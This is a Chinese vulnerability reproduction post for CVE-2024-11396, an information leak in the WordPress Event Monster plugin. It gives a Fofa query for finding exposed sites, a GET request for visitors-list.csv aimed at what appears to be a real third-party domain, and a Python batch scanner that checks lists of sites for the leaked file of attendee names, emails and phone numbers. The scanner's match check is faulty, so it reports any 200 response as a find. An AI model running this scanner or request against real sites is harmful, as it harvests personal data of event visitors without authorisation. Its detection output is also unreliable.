WordPress event-monster插件信息泄露漏洞复现(CVE-2024-11396)(附脚本)
免责申明:
本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。
0x01 产品描述:
Event-Monster是一款功能强大的WordPress活动管理插件,专为创建和管理各类活动、票务和预订而设计。它提供了直观的活动创建界面,支持多种活动类型、票务选项和支付网关集成,帮助用户轻松组织线上或线下活动。Event-Monster还具备强大的自定义功能,包括活动日历、倒计时、地图集成和电子邮件通知等,确保活动策划和推广更加高效。无论是小型聚会还是大型会议,Event-Monster都能为用户提供专业且灵活的活动管理解决方案。
0x02 漏洞描述:
WordPress 的 Event Monster – Event Management, Tickets Booking, Upcoming Event 插件在 1.4.3 之前的所有版本中都容易受到通过访客列表导出文件进行信息泄露的影响。在导出过程中,将在 wp-content 文件夹中创建一个 CSV 文件,其中包含可公开访问的硬编码文件名。这使得未经身份验证的攻击者能够提取有关事件访问者的数据,包括名字和姓氏、电子邮件和电话号码。
0x03 影响版本:
Event monster <= 1.4.3
0x04 搜索语句:
Fofa:body="wp-content/plugins/event-monster/"
0x05 漏洞复现:
GET /wp-content/uploads/visitors-list.csv HTTP/1.1
Host: www.eventibambinidiroma.it
0x06 批量检测脚本:
批量检测:
python poc.py -f url.txt
单个检测:
python poc.py -u your-ip
import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print("\033[36m" + """
****************************************************
* CVE-2024–11396 *
* WordPress 未授权访问导致敏感信息泄露 *
* 作者: iSee857 *
****************************************************
""" + "\033[0m")
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def check(url):
protocols = ['http://', 'https://']
found_vulnerabilities = False
for protocol in protocols:
target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
print(f"Checking {target_url}")
target_url.rstrip("/")
target_url = urljoin(target_url, "/wp-content/uploads/visitors-list.csv")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
}
try:
response = requests.get(target_url, verify=False, headers=headers)
if response.status_code == 200 and (key in response.text for key in('First Name','Last Name','Email','Phone')):
print(f"\033[31mFind:{url}:WordPress_CVE-2024-11396_DataBreach!\033[0m")
return True
except Exception as e:
pass
if __name__ == "__main__":
banner()
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
check(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")
0x07 修复建议:
升级至大于1.4.3版本